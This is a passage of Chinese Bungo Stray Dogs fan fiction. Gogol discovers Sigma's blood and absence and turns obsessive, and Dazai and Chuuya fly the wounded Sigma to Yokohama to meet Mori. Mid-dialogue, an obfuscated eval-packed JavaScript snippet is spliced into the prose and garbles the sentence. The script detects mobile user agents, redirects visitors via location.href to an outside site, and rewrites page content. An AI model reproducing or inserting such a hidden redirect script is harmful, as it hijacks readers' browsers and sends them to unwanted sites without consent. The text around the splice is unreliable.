去用唇间的温度,铭记她的冰冷,也埋葬自己心中最后一丝不属于“绝对自由”的牵绊。 去为她……或许也是为自己,画上一个迟来的句点。 果戈里转身,步伐不再有平日那种舞蹈般的轻快,而是沉缓、稳定,每一步都踩在废墟的碎石上,发出清晰的声响。 如同奔赴一场迟到已久的献祭。 通往监控室的路,他闭着眼都能走。 空气似乎越来越冷,越来越静。 静得只能听到自己越来越沉的心跳,以及血液冲刷耳膜时,带来的细微轰鸣。 还有……内心深处那份对即将触碰的、冰冷柔软的,隐秘的期待与恐惧。 果戈里设想着推开门后可能看到的景象。 苍白的脸,紧闭的眼,毫无起伏的胸膛,或许还有未干的血迹。 她该是躺在冰冷的地面上,像被遗弃的易碎品,失去了所有生机。 他甚至准备好了面对任何可能的凄惨模样,也预演好了接下来的每一个动作 ——走向她,无论她躺在哪里。 蹲下身,拂开她额前或许凌乱的发丝。 注视她苍白安静的脸,最后记住她此刻的模样。 然后,俯身,将所有的未竟之言、扭曲的眷恋、不甘的嫉妒,都倾注于一个轻轻的、告别般的吻。 印在她再无反应的唇上。 他甚至能想象那触感——冰凉的,柔软的,如同凋零的花瓣。 胸腔里那片空洞,似乎正因为预想的画面而开始蔓延出尖锐的、迟来的钝痛,却又被那份隐秘的、带着痛楚的期待悄悄填满。 终于,果戈里站在了监控室厚重的金属门前。 门上的指示灯微弱地亮着,而门板并未完全闭合,留着一道狭窄的缝隙,像一道未被缝合的伤口,隐约泄出内里幽蓝的光。 果戈里伸出手,指尖在触碰到冰冷的门板时,没有停顿。 他轻轻一推,“吱呀”一声,门轴转动的声音在死寂的走廊里格外清晰,像某种迟来的叹息。 监控室内,无数屏幕散发着幽蓝的光,映照着空气中漂浮的微尘。 中央最大的那块屏幕,依旧锁定着那个房间,那个角落。 但果戈里的目光没有先落在屏幕上。 他的视线,被地面牢牢吸住了。 房间中央的地面,正是他预想中西格玛该躺卧的位置。 没有苍白的身影。 没有静止的轮廓。 只有一片空旷的冰冷,和地面上几簇刺目的、暗红的、半干涸的—— 血迹。 果戈里所有的动作、呼吸、乃至那份奔赴“吻别”的决绝心意,在那一刻,被按下了暂停键。 他站在门口,维持着推门而入的姿势,银霜色的眼瞳死死盯着那片血迹。 暗红的、已经半干涸的血迹,凝结成不规则的斑块,像落在雪地上的梅,带着触目惊心的温度。 有的地方还带着轻微的拖拽痕迹,仿佛有人曾从这里离开,留下了无法抹去的印记。 她不在。 但她留下了血迹。 活着的、挣扎过的、逃离的……痕迹。 果戈里的呼吸骤然停滞。 预想中的所有画面都没有出现,可这突兀的血迹,却比任何凄惨景象都更让他心头一紧。 他下意识地迈开脚步,踉跄着走近那片血迹,银白的发丝垂落,遮住了他眼中瞬间翻涌的情绪。 监控室内空无一人,而地面的血迹,是唯一证明“她曾在这里”的证据。 果戈里蹲下身,几乎是本能地伸出手,指尖轻轻触碰到了那片血迹。 冰凉的,带着一丝粘稠的触感,透过指尖传来。 那是属于活物的痕迹,是生命曾在此停留、挣扎过的证明。 不是冰冷的虚无,不是彻底的消失——她留下了痕迹。 时间,或者说果戈里对时间的感知,出现了短暂的断层。 呼吸停滞,血液似乎也在瞬间冻结。 大脑里预演过无数遍的、带着悲怆或冷酷的“终幕剧本”,连同那个未竟的吻别念头,在这触目惊心的血迹与纯粹的“空无”交织的画面面前,像被重锤击中的玻璃,轰然粉碎,连齑粉都未曾留下。 下一秒—— “轰!” 不是声音,是感觉。 是颅内炸开的空白,随即被更汹涌的、截然相反的情绪洪流席卷! 以一种摧枯拉朽的力量,猛地炸穿了他胸腔里那片冰冷的空洞和正在蔓延的钝痛! 是狂喜。 尖锐、滚烫、带着刺痛感和眩晕感的狂喜! 蛮横到碾碎了一切悲怆预设的狂喜! 它来得如此迅猛,如此不合时宜,却又如此真实,瞬间点燃了他的四肢百骸。 不是费佳处理了她……不!不对! 她不在这,可她留下了血迹! 滴落着的、半干涸的血—— 这意味着……西格玛……说不定还活着! 这个认知如同最烈的酒,瞬间冲垮了他刚刚筑起的、用于告别的一切心理防线。 比爆炸的火光更耀眼,比费奥多尔的死亡更震撼。 心脏在停滞一瞬后开始疯狂擂动,重重地撞击着肋骨,血液奔流的声音在耳内轰鸣,几乎盖过了所有。 她还活着! 她脱离了这个房间,脱离了费佳那看似密不透风的掌控! 她甚至有力量留下痕迹,有机会逃离!无论是她自己创造了奇迹,还是…… ——太宰治。 这个名字如同暗夜中的灯塔,骤然亮起。 是了,只有那个男人,那个刚刚上演了一出完美逆转、将费佳都算计至死的太宰治,才有可能,也有理由,在这最后的混乱中插手。 是他吗?像幽灵一样潜入,带走了那个被宣告“不会再醒来”的少女? 带走了费奥多尔想要独占、果戈里不敢面对的“遗物”? 希望。 这个字眼此刻不再是虚无缥缈的星光,而是从这片血迹与空无中野蛮生长出的、带着荆棘与蜜糖的藤蔓,狠狠缠绕住他的心脏,刺痛又甘美。 西格玛没有被摧毁,没有变成冷冰冰的“结局”。 游戏没有终结! 费佳死了,但棋盘并未沉寂,那颗他以为已经坠落的“星”,竟然跳出了既定的轨道,消失在了更广阔、更未知的迷雾深处! 那个吻别的念头并未消失,而是瞬间变质、发酵,燃烧成更加炽烈、更加势在必得的火焰。 不再是告别,而是……重逢的预告。 “哈……哈哈……” 一声短促的、仿佛被呛住般的笑从果戈里喉咙里挤出。 随即,这笑声再也压抑不住,开始放大,变得肆意,最后演变成在空旷监控室里回荡的、近乎癫狂的畅快大笑! 他笑得弯下了腰,手指插入银白的发间,肩膀剧烈抖动,连眼泪都笑了出来。 指尖残留的血迹冰凉,却仿佛带着某种鲜活的温度,灼烧着他的皮肤,也点燃了他心底最偏执的渴望。 这笑声里充满了极致的意外、命运荒谬的嘲弄、失去枷锁后的空虚被新的“可能性”瞬间填满的兴奋,以及一种重获“追逐”目标的、战栗般的极致愉悦! 笑了许久,笑声才渐渐平息,变成低低的、愉悦的喘息。 果戈里直起身,抬手用指腹抹去眼角的泪花,指尖的血迹蹭在脸上,留下一道暗红的痕迹,却丝毫没有破坏他眼中的炽热。 他重新看向地面的血迹,又抬眼望向那片空白的监控画面。 屏幕的冷光映在他脸上,照亮了他眼中重新燃起的、比以往任何时候都要炽烈、明亮和偏执的火焰。 那层覆在瞳仁上的薄冰早已碎裂消融,取而代之的是沸腾的熔岩。 嘴角勾起的弧度,混合了极致的兴奋、失而复得的疯狂,以及一种更加黑暗、更加独占的温柔。 太好了,我和你之间,还没有结束。 果戈里微微偏头,银色的发丝滑过额角,目光牢牢落在地面那片暗红的血迹之上。 仿佛在透过这残留的痕迹与遥远的距离,看向那个不知去向、却一定存在于世界某处的少女。 果戈里轻轻的开口了,那声音起初很轻,如同叹息,而后逐渐清晰,带着铁锈般的质感与不容置疑的笃定: “啊啊……我们还会再见面的,西格玛。” 无论你被谁带走,无论你藏在哪里,无论你此刻是否还在流血。 这一次,没有了费佳的棋局,该由我来制定规则了。 这场名为“自由”的魔术,少了你这颗最特别的“星”,可无法迎来真正的高潮啊。 下一次……可不仅仅是一个吻,就能了结的了。 果戈里最后深深看了一眼那片血迹,仿佛透过它们,看到了她逃离时踉跄却鲜活的背影。 然后,他倏然转身,黑白斗篷划出利落的弧线。 带着比来时更加明确、更加灼热的目的,毫不犹豫地离开了这间充满机器冷感和命运转折的监控室。 门在身后关闭,将那片血迹、空无与旧日的枷锁一并隔绝。 而门外,是废墟之上逐渐清朗的天空,是一个没有费奥多尔、却有了新的“可能性”的世界。 希望点燃的火焰,比绝望的灰烬明亮千倍。 果戈里的步伐重新变得轻快,甚至带着某种跃跃欲试的韵律。 仿佛踏着心跳的鼓点,走向那片等待他去探索、去追逐、去重新涂抹色彩的天地。 寻找,开始了。 这一次,只为他自己,和他那颗失而复得的“星”。 —————— 直升机的嗡鸣像一层厚重的绒毯,包裹着机舱内有限的安宁。 西格玛在这片持续的嗡鸣中沉沉睡去,她的意识像沉入深海的羽毛,缓慢而彻底。 她好累。 精神像是被反复拧绞又摊开的旧布,每一缕纤维都浸透了疲惫的涩意。 身体更是沉重不堪,伤口缝合处的疼痛在止痛药消退后转化为一种钝而持续的存在感,与高烧带来的虚软交织在一起,让她连呼吸都觉得耗费力气。 她睡得很沉,却并不安稳。 梦境是零散的、没有逻辑的片段——天空赌场璀璨的穹顶碎裂成粉末,费奥多尔那双深不见底的眼睛凝视着她,还有匕首刺进皮肉的刺痛。 不知过了多久,意识从深海缓缓上浮。 西格玛睁开眼时,机舱内光线依旧,窗外是永恒般流动的蓝天与白云,仿佛时间在这个高度失去了意义。 直升机仍在平稳飞行,引擎的节奏未曾改变。 她只睡了一会儿吗?还是已经过了很久? 身体的酸痛和额头的昏沉提醒她,疲惫并未远离,只是短暂地被睡眠压抑。 正当她迷茫地眨着眼,试图聚焦视线时,一片阴影靠近。 太宰治倾身过来,动作自然得仿佛演练过无数遍。 他伸出手,掌心轻轻贴在她的额头上。 西格玛愣愣的,没有拒绝,甚至没有产生任何抗拒的念头。 她的身体和意识都还沉浸在刚醒来的迟钝中,只是顺从地抬起眼,望向近在咫尺的那张脸。 太宰治的指尖微凉,掌心却带着温热的实感。 他停留了几秒,像是在认真感知她皮肤下的温度,鸢色的眼眸低垂着,专注的神情褪去了平日的轻佻,显出一种罕见的宁静。 “没有那么烫了。”他轻轻说道,声音压得很低,几乎要淹没在引擎的嗡鸣里。 说完,他才抬起眼,对上了西格玛的目光。 那双淡粉色的眼眸还蒙着一层刚醒来的水雾,迷茫而清澈,倒映出他此刻的模样。 太宰治在那片倒影里看到了自己——一个或许比平时更接近真实一点的自己。 他笑了笑,撤回手,坐回自己的位置,语气恢复了惯有的轻快:“西格玛小姐醒得正是时候呢,目的地就快到了。” 西格玛愣了愣,刚睡醒的意识缓慢地处理着这句话。 目的地? 她微微偏头,视线越过太宰治,望向窗外的蓝天。 云层在下方铺展成绵软的白色山脉,阳光毫无阻碍地洒落,耀眼得让人恍惚。 云层之下,遥远的地平线上,已经能隐约看到陆地的轮廓,深绿与灰褐交织,渐渐取代了纯粹的海蓝。 目的地。 这个词轻轻敲在西格玛的心口,泛起一片空洞的回响。 不是她的目的地。 天空赌场已经没有了,那个她曾倾注一切、视为归属的浮空之地,如今已化为乌有。 她为之奋斗的意义、她存在的锚点,都随着赌场的坠落而消散。 这世上好像没有她的容身之处。 之后她该去哪里?还有哪里可以去? 天哀五人?那从来不是她的归宿,只是被迫依附的枷锁。 费奥多尔?那个留下她性命却将她推向更复杂迷局的男人,他的身边从来不是可去之处,那是深渊,也是地狱。 果戈里?他和费奥多尔没什么两样,都是把自己视作玩物。他口中的“自由”,不过是另一种形式的掠夺。 没有可以信赖的人,没有可以去的地方。 世界如此之大,她却感到一种无处落脚的漂泊。 “西格玛小姐。” 太宰治的声音打断了她的思绪,将她从逐渐蔓延的空茫中拉回。 西格玛回过头,看到太宰治手中握着一把枪。 那把原本属于她、在默索尔监狱混乱中遗落,又被他不知何时捡起的枪。 “这个交给你。”太宰治将枪递过来,动作平稳,眼神里没有任何试探或戒备,只有一种坦然的交付。 西格玛的目光落在冰冷的金属上。 曾经她用这把枪击伤了费奥多尔。 太宰治没有没收它,没有以此为筹码,而是将它还给了她。 这个简单的举动背后,是一种无声的尊重与信任。 他将选择的权利交还给她——自保也好,选择攻击也好,甚至选择离开也好。 他告诉她:你是自由的。 西格玛沉默了几秒,然后伸出手,接住了那把枪。 金属触感冰凉,却奇异地让她感到一丝踏实。重量落在掌心,像是一个小小的、确切的锚点。 “西格玛,”太宰治看着她收好枪,才再次开口,声音比刚才更温和了些,“你之后打算去哪里?” 问题来得直接,却并不突兀。 西格玛垂下眼睫,指尖无意识地摩挲着枪身冰凉的表面。 沉默在机舱里蔓延了片刻,只有引擎持续的低鸣。 前座的中原中也似乎动了一下,但没有回头。 “不知道。”西格玛最终轻声回答。 这是实话,她真的不知道。 世界突然变得空旷而无方向,她像一片失去风的羽毛,不知该飘向何处。 然后,一只手伸了过来,轻轻握住了她的手。 西格玛微微一颤,抬眼看去。太宰治牵住了她的手,掌心温热,力道轻柔却不容挣脱。 “那就和我一起回武装侦探社吧。”他说,语气轻松得像在邀请她去喝杯茶,但鸢色的眼眸里却有着不容错辨的认真。 西格玛愣住了。 她看着太宰治握着自己的手,看着他那张带着浅笑却无比笃定的脸。 武装侦探社……那个与她立场对立、本应是她敌人的组织。 但她此刻想到的,却不是立场的对立或过往的纠葛。 一个更现实、也更熟悉的念头浮上心头——他为什么要帮自己? 在西格玛短暂却复杂的人生里,“善意”是稀罕品,而“代价”是常态。 费奥多尔的操控、天人五衰的裹挟、天空赌场的经营……每一次所谓的“收留”或“合作”,背后都标好了她需要偿还的价值。 太宰治此刻伸出的手,也不例外吧。 西格玛静静地想。 就算是利用自己也没关系。 她已经习惯了被利用。 只要这份利用能给她一个暂时停留的地方,一个不必继续漂泊的借口,那么被当作棋子、工具,或是别的什么,都无所谓。 停留在哪里,好像都一样。 但至少,停在某个有人的地方,比独自飘荡在这茫然的天地间,要好那么一点点。 中原中也在前座听着后座的对话,听到太宰治那句“和我一起回武装侦探社”时,忍不住“啧”了一声。 真是碍眼的家伙。 他在心里嘀咕,握着操纵台的手指微微收紧。 太宰治那副理所当然牵住西格玛的样子,让他莫名烦躁。 但随之而来的念头却让他自己都愣了一下——如果西格玛去了武装侦探社,同在横滨,说不定之后……他们可以多见几次面。 等等,自己在想什么? 中原中也猛地将思绪打断,耳根又开始发烫。 他今天到底是怎么了?这种莫名其妙的想法一个接一个地冒出来,完全不受控制。 自己真是越来越奇怪了。 他咬咬牙,下定决心——等回了横滨,就立刻去找医生做个全面检查。 一定是身体哪里出了问题,不然心跳不会老是这么失常,思绪也不会这么乱飘。 “好。” 后座传来西格玛轻柔却清晰的声音。 中原中也的注意力瞬间又被拉了回去。他听到西格玛低垂着眼睫应了一声,然后抬起眼,淡粉色的眼眸看向太宰治。 接着,她轻轻勾出了一个浅浅的笑容。 那笑容很淡,像初春枝头将绽未绽的樱瓣,带着未褪的脆弱,却又有种破土而出的柔软。 她看着太宰治,轻声说:“谢谢你,太宰。” 太宰治明显愣了一下。 他看着她那个浅浅的笑容,看着她眼底映出的自己的倒影,看着她唇边那抹难得的、轻浅的弧度。 那一刻,某种柔软而汹涌的东西击中了他。 他同样笑了,用一种夸张的、抱怨般的语气说道:“真是的,突然对我露出这样的笑容,会让我忍不住爱上你的哦?” 话是玩笑,尾音却带着一丝不易察觉的轻颤。 随后,他轻轻地放开了握着她的手。 前座,偷听的中原中也耳朵几乎要竖起来了。 “会让我忍不住爱上你的”——这句话像一颗小石子投入他本就波动的心湖,激起一阵莫名的紧张。 但紧接着,他看到太宰治放开了手,又隐隐松了口气。 连他自己都没意识到,那瞬间的放松和隐隐的庆幸。 机舱内重新归于相对平静,只有引擎声持续作响。 窗外,云层开始变得稀薄,下方隐约可见陆地的轮廓与海岸线。 目的地,越来越近了。 而属于西格玛的新旅程,或许也即将开始。 在一个她从未预料过的地方,与这些曾将她视为敌人的人一起。 西格玛收回被放开的手,指尖蜷缩起来,上面还残留着太宰治掌心的温度。 她重新看向窗外,这一次,目光不再空茫。 武装侦探社吗? 她不知道那里等待她的是什么,不知道未来会如何展开。 但至少此刻,她不是独自一人。 这就够了。 —————— 直升机在法国尼斯近郊的私人机场降落时,夕阳正将天空染成一片渐变的橙红。 螺旋桨卷起的气流逐渐平息,舱门从外部被拉开。 坂口安吾安排的两名接应人员已经等在舷梯旁,穿着干练的深色西装,表情专业而克制。 太宰治先一步跨出机舱,那条骨折的腿落地时,眉间几不可察地蹙了一下,但脸上依旧挂着那副漫不经心的笑。 中原中也紧随其后,黑色礼帽压低,扫了一眼接应的人,简短地颔首。 “有伤员。”太宰治开口,语气轻松得像在谈论天气,“我这条腿需要重新固定一下。另外——” 他侧身,让出舱门内的视野,“有位小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193636|197107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤势比较重,胸口的旧伤和腰腹的刺伤都需要重新处理,还在发烧。” 接应人员中那位年长些的立刻点头,朝身后打了个手势。 另一人迅速推来一架折叠担架。 中原中也已经转身回到舱门边,朝内伸出手。 西格玛正试图自己站起来,但高烧和伤口让她动作迟滞。 中原中也的动作比她快。 他俯身,手臂稳稳穿过她的膝弯和后背,像之前一样将她抱了起来,动作却比在默索尔监狱时更小心,刻意避开了她腰腹的伤处。 西格玛低低“啊”了一声,下意识抓住他胸前的前襟,又很快松开。 中原中也目不斜视,抱着她稳步走下舷梯,将她轻轻安置在展开的担架上。 “谢谢。”西格玛轻声说,声音因发烧而有些沙哑。 中原中也“嗯”了一声,算是回应,随即退开一步,让医护人员上前。 担架被平稳地抬起,朝着停机坪另一侧一架小型私人飞机移动。 太宰治跟在一旁,步伐因伤腿而略显拖沓,但神情自若。 中原中也则落后几步走着,目光落在前方担架上西格玛苍白的侧脸,又很快移开。 私人飞机内部被改装过,前半部是客舱座椅,后半部则用浅色帘幕隔出了一个简易的医疗区。 西格玛被安置在靠窗的可调节医疗床上,医护人员是一位神色温和的中年女医生和她的助手,她们立刻开始工作。 帘幕被拉上一半,隔绝了部分视线,但并未完全封闭。 就在西格玛开始接受治疗时,一位医护人员拿着刚从她身上脱下的那件棕色短外套走了出来。 那是中原中也的外套。 医护人员环顾四周,正犹豫该将外套放在何处,中原中也已起身走了过来。 他默不作声地伸出手,医护人员会意地将外套递了过去。 外套落入手中的瞬间,中原中也微微一怔。 布料上还残留着西格玛的体温,一种因发烧而偏高的温热,透过粗粝的面料,清晰地传递到他的掌心。 那温度并不灼人,却像一小簇微弱的火苗,贴着他的皮肤,让他的指尖几不可察地蜷缩了一下。 他没有立刻将外套穿上,也没有随手搭在椅背上。 只是垂着眼,手指无意识地摩挲着外套的袖口。 那里似乎还沾着一点未干的潮意,不知是汗,还是之前处理伤口时不小心溅上的消毒液。 这外套上午还穿在他自己身上,带着他惯有的雪松与硝烟的气息。 而现在,它裹过她单薄的身体,浸染了她的体温,或许还沾染了她身上那股雨水打湿甘草般的清冽味道,两种气息悄然交融,变得陌生又熟悉。 中原中也的目光落在帘幕缝隙间,那里隐约可见医护人员忙碌的身影,而西格玛正安静地躺在里面接受治疗。 他抿了抿唇,最终只是将外套对折,轻轻放在了身旁的空座椅上,手指在布料上停留了一瞬,才缓缓收回。 太宰治在帘幕外的另一张医疗床上坐下,一位医护人员过来检查他的腿。 骨折处的临时固定确实需要重新处理,绷带被小心拆开,露出已经开始肿胀的皮肤。 帘幕内,西格玛听见医生轻柔的指令声。 将她上半身的衣物一一脱下,胸口的绷带被解开,清凉的消毒液触碰到伤口时,她咬住下唇,没发出声音。 腰腹的刺伤也被重新检查,太宰治在直升机上的缝合得到了医生的认可,但仍旧需要彻底清创和更换敷料。 高烧让西格玛的意识时而清醒时而模糊。 当医生给她注射了止痛和退烧药物后,温暖的倦意如潮水般涌来。 她能听见帘幕外太宰治偶尔和医护人员的低语,能听见医疗器械轻微的碰撞声,还能听见在不远处的客舱座椅区,中原中也坐下时皮革的细微摩擦声。 但这些声音渐渐远去,沉入一片宁静的黑暗。 药物作用下,西格玛昏睡过去。 她不知道的是,在她睡着后不久,帘幕外传来太宰治的声音,带着难得的一丝认真,他轻声问:“西格玛小姐还好吗?” 正在整理器械的女医生朝帘幕内看了一眼,压低声音回答:“她睡着了。伤口处理得很及时,没有严重感染迹象。但发烧还需要时间退,已经用了药,需要好好休息。” 太宰治“嗯”了一声,没再说话。 私人飞机开始滑行,继而升空,朝着横滨的方向。 中原中也坐在选定的位置上,目光偶尔扫过那道浅色的帘幕。 他能看见帘幕内医护人员偶尔走动的身影,但西格玛那边很安静,想来是药物起了作用,终于能安稳睡一会儿。 几个小时后,飞机平稳飞行在夜空中。 西格玛从昏沉的睡眠中缓缓苏醒。止痛药的效力还未完全消退,伤口只有隐约的钝痛,高烧带来的燥热也缓解了不少。 她眨了眨眼,视线逐渐聚焦在机舱顶部的柔和灯光上。 记忆像碎片般拼凑——直升机、机场、担架、私人飞机、医生处理伤口…… 然后她想起,太宰治的腿也受伤了。 几乎是下意识的,西格玛微微侧过头,看向帘幕的方向。 帘幕没有完全拉拢,她能看见外面医疗床上太宰治的轮廓,他闭着眼,似乎睡着了。 “他……”西格玛开口,声音因刚睡醒而低哑,“还好吗?” 正在一旁记录医疗数据的中年女医生闻声转过头来。 她看着西格玛刚醒来就带着关切的眼神,微微一怔,随即唇角泛起一个温和的、近乎会心的笑容。 “放心,”医生轻声说,走到床边检查了她的体温,“太宰先生的腿已经重新固定好了,没有大碍。” 西格玛似乎松了口气,睫毛轻轻颤动。 医生一边调整输液管的速度,一边用闲聊般的语气补充道:“说起来,刚才你睡着的时候,太宰先生醒着时问的第一句话,也是‘西格玛小姐还好吗?’” 西格玛愣住了。 淡粉色的眼眸里闪过一丝茫然,然后是细微的波动。 她转过头,再次望向帘幕外那个模糊的轮廓,嘴唇轻轻动了动,却什么也没说出来。 只是原本紧握着床单的手指,微微松开了些。 医生没有再说什么,只是温和地替她掖了掖被角,转身去准备下一剂药物。 帘幕外,太宰治似乎动了一下,但依旧闭着眼。 而在稍远处的座上,中原中也的目光从舷窗外的夜空收回,不动声色地扫过医疗区,又移开。 他的手指无意识地碰了碰身旁那件折叠整齐的外套,布料上的余温早已散尽,但某种难以言喻的暖意,似乎还停留在指尖。 机舱内,只有引擎低沉平稳的嗡鸣。 西格玛的视线从帘幕外收回,落在自己搭在白色被单上的手。 指尖还带着高烧后的虚软,但思绪却比之前清晰了许多。 机舱内光线柔和,引擎声低沉规律,营造出一种奇异的宁静。 就在这时,一阵轻微的皮革摩擦声传来。 中原中也从座位上站起身,他径直走向机舱前部,那里有一个小型的备餐区。 他打开冰箱和储物柜检查了一下,随即转身,目光精准地投向医疗区。 他先是对上西格玛刚望过来的、还有些迷茫的淡粉色眼睛,言简意赅:“醒了?感觉怎么样。” “……好些了。”西格玛轻声回答。 “嗯。”中原中也点了点头,随即视线一转,落在旁边医疗床上似乎睡得很沉的太宰治身上。 他没有走过去叫人,甚至没有提高音量。 只是非常干脆利落地抬腿,用包裹在锃亮皮鞋里的脚尖,不轻不重地踢了一下太宰治医疗床的金属床脚。 “哐当。” 一声不算响但足够清晰的金属震颤音在安静的机舱内回荡。 “别装了,”中原中也的声音没什么起伏,“起来,吃饭。” 医疗床上,太宰治长长的睫毛颤动了两下,随即睁开。 那双鸢色的眼睛里哪有半分睡意,只有一抹“被拆穿了”的遗憾和惯有的玩味。 “哎呀,中也真是粗鲁,对伤员也这么不客气。”他慢吞吞地撑起身体,牵扯到伤腿,龇了龇牙,但动作还算利索。 “伤员更需要补充体力。”中原中也丢下这句话,不再看他,转而看向帘幕内的西格玛,“你能坐起来吗?还是需要把餐食拿过来?” 西格玛试着动了动。腰腹的伤口被妥善固定着,虽然一动还是会有牵扯感,但在可以忍受的范围内。 高烧退去后,虚弱感仍在,但某种空乏的感觉也从胃部升起。 “我……可以坐起来。”她说着,用手肘慢慢支撑起上半身。 一直守在一旁的中年女医生见状,立刻上前帮忙,将她的床背调整到合适的高度,又在她的腰后垫了一个软枕。 “谢谢。”西格玛低声道谢。 中原中也已经从备餐区端来了三个托盘。他先给了西格玛一份,放在她床边的可折叠小桌板上。 然后是太宰治,直接放在了他手边。最后一份留给自己。 托盘里的食物简单却精致:温热的蔬菜浓汤,烤得恰到好处的鸡肉配软嫩马铃薯泥,几片全麦面包,还有一小份水果沙拉。饮料是温水和果汁。 太宰治拿起勺子,戳了戳盘子里的鸡肉,叹了口气:“果然不能对飞行餐抱有期待呢,哪怕是私人飞机。” 中原中也懒得理他,已经在自己座位上坐下,拿起勺子,吃相算不上优雅,但速度均匀,带着一种高效的专注。 西格玛也拿起了勺子。浓汤的温度透过瓷碗传递到掌心,带来舒适的暖意。 她小口地喝了一点,温暖的液体滑过喉咙,落入空荡的胃里,似乎连带着身体深处的寒意也被驱散了些许。 一时间,机舱内只剩下餐具轻微的碰撞声和咀嚼声。 西格玛安静地吃着,目光却不由自主地在另外两人之间游移。 太宰治虽然嘴上抱怨,但进食的速度并不慢,只是偶尔会停下来,因为移动伤腿而微微蹙眉。 中原中也吃得很快,但动作并不粗鲁。他吃完自己那份后,并没有立刻离开,而是继续坐在那里,似乎在等待什么。 他的帽子依然压在额前,遮住了部分眉眼,让人看不清具体神色。 当西格玛因为虚弱,拿着面包的手微微发抖时,中原中也几乎在她自己察觉到之前,就已经抬眼看了过来。 但他什么也没说,只是目光停顿了一秒,便又移开,仿佛只是随意一瞥。 太宰治则笑眯眯地咽下一口土豆泥,忽然开口:“西格玛小姐胃口不错嘛,看来恢复得比预期快哦。” 西格玛动作一顿,抿了抿唇:“……还好。” “多吃点才能好得快,”太宰治托着腮,语气轻松,“回到横滨可能还有的忙呢。” 横滨。 这个地名让西格玛心头微紧。 那是一个对她来说,既熟悉又陌生的地方的地方。 似乎是察觉到了她瞬间的沉默,中原中也忽然开口,声音不高,却清晰地传来:“先养伤。其他事,之后再说。” 这句话没头没尾,甚至算不上承诺,却像一块小小的石头,投进了西格玛沉寂的心湖,漾开一圈极细微的涟漪。 她没有抬头,只是轻轻“嗯”了一声,继续小口地吃着已经凉了一些的土豆泥。 而机舱的另一端,几名机组人员也在安静地用着他们的工作餐,与这边保持着礼貌而疏离的距离。 这顿在万米高空、简单甚至称得上沉默的晚餐,就在这样一种微妙而平稳的氛围中继续着。 没有更多交谈,只有食物提供的实在暖意,和引擎持续不断的低鸣,载着他们穿越厚重的云层与夜色,朝着东方既定的目的地平稳前行。 22. 横滨 飞机在清晨六点四十五分平稳降落在东京羽田机场的私人停机坪。 晨光熹微,天际泛着鱼肚白,空气里浸透着东京湾特有的、微咸的凉意。 太宰治走在最前面,手臂上还挂着西格玛染血的外套,中原中也紧跟其后。 西格玛跟在太宰治和中原中也身后走下舷梯。 她身上那件染血的破烂衬衫早已被换下,此刻穿着一件略显宽大的干净白衬衫,布料单薄,清晨的风穿透而来,让她不自觉地打了个寒颤。 走在前面的中原中也脚步蓦地慢了半拍,他转过身,没有多余的言语,只是抬手将拎在手里的棕色短外套,轻轻搭在了西格玛的肩上。 外套上还残留着飞行途中被暖气烘出的干燥暖意,以及一丝极淡的、属于中原中也的气息。 ——雪松混着一点点硝石的味道,很冷冽,却意外地驱散了晨风的寒意。 “之后还我就好。”他丢下这句话,便重新转过身,双手插兜,沉默地往前走去。 西格玛的指尖轻轻蹭过外套的布料,暖意顺着指尖漫进心底。 她顿了顿,望着前方那个不算宽厚却莫名让人安心的背影,低声说了句:“谢谢。” 中原中也像是没有听见,步伐没有丝毫停顿,背影很快融进了清晨淡淡的薄雾里。 接应他们的港口□□成员早已等候在侧,一行人沉默地穿过专用通道,登上两辆黑色轿车。 没有多余的交谈,车队疾驰向东京都内某处不显眼的直升机起降场。 换乘的是一架黑色的中型直升机,旋翼已经开始缓缓转动,搅动着地面薄薄的晨雾。 中原中也率先登机,转身很自然地朝西格玛伸出手。西格玛迟疑了一瞬,将手搭了上去。 他的手掌干燥有力,稳稳一带,便将她拉上了机舱。 太宰治则慢悠悠地跟在最后,鸢色的眼睛扫过这一幕,唇角勾了勾,没说什么。 直升机升空,将东京密集的楼宇逐渐抛在下方,朝着横滨的方向飞去。 机舱内噪音很大,对话变得困难。西格玛靠着舷窗,看着下方景色从都市变为海湾,又逐渐被横滨特有的港口与未来都市风貌取代。 披在肩上的外套将她与机舱内的寒意隔绝开,伤口在药物作用下只剩下绵长的钝痛,高烧带来的晕眩感却并未完全退去,让她面颊上浮着一层不正常的红晕。 不多时,那栋鹤立鸡群、威严冷峻的黑色大楼便出现在视野中。 直升机开始下降,精准地朝着楼顶的直升机坪落去。 旋翼卷起的狂风逐渐平息,舱门被从外部拉开。 直升机坪上,一行人早已静候。 为首的男人身着黑色立领大衣,颈间围着长长的红围巾,黑色的短发扎在脑后一丝不苟,唇角噙着一抹似乎永远不变的、温和又深不可测的笑意。 那便是港口□□首领,森鸥外。 “欢迎回来,中也君,太宰君。” 森鸥外的声音不高,却清晰地传入每个人耳中,“任务辛苦了。” 他的目光先在中原中也身上停留一瞬,确认部下无恙,随即转向太宰治,笑意更深,“看来这次默索尔之行,也相当精彩呢。” 最后,他的视线自然而然地,落在了刚刚被中原中也扶下直升机、脚步仍有些虚浮的西格玛身上。 那目光带着审视,也带着纯粹的兴趣,如同经验丰富的医生在评估一例特殊的病例,又如同棋手在打量一枚意外落入棋盘的、光泽奇异的棋子。 “这位就是……西格玛小姐吧。”森鸥外缓步上前,红围巾的末梢在晨风中微动,“果然,能让我那位‘老朋友’费奥多尔君都临时改变计划的人物,确实非同一般。” 西格玛听到费尔多尔的名字,愣了愣。 让费奥多尔……改变计划? 西格玛蜷缩的指尖微微收紧,指甲无意识地掐进掌心,带来一点微弱的刺痛。 ……我吗? 她低垂下的眼眸,避开与眼前人的目光,那种洞察一切的观测感,让她脊背泛起一阵熟悉的寒意。 就像是费奥多尔望向她时,那种看似温和、实则将她的灵魂都要剖开的目光。 森鸥外的视线在西格玛脸上停留。 那因高烧而异常红润的面颊,在清晨苍白的光线下,仿佛熟透的苹果,透着一种脆弱又引人注目的色泽。 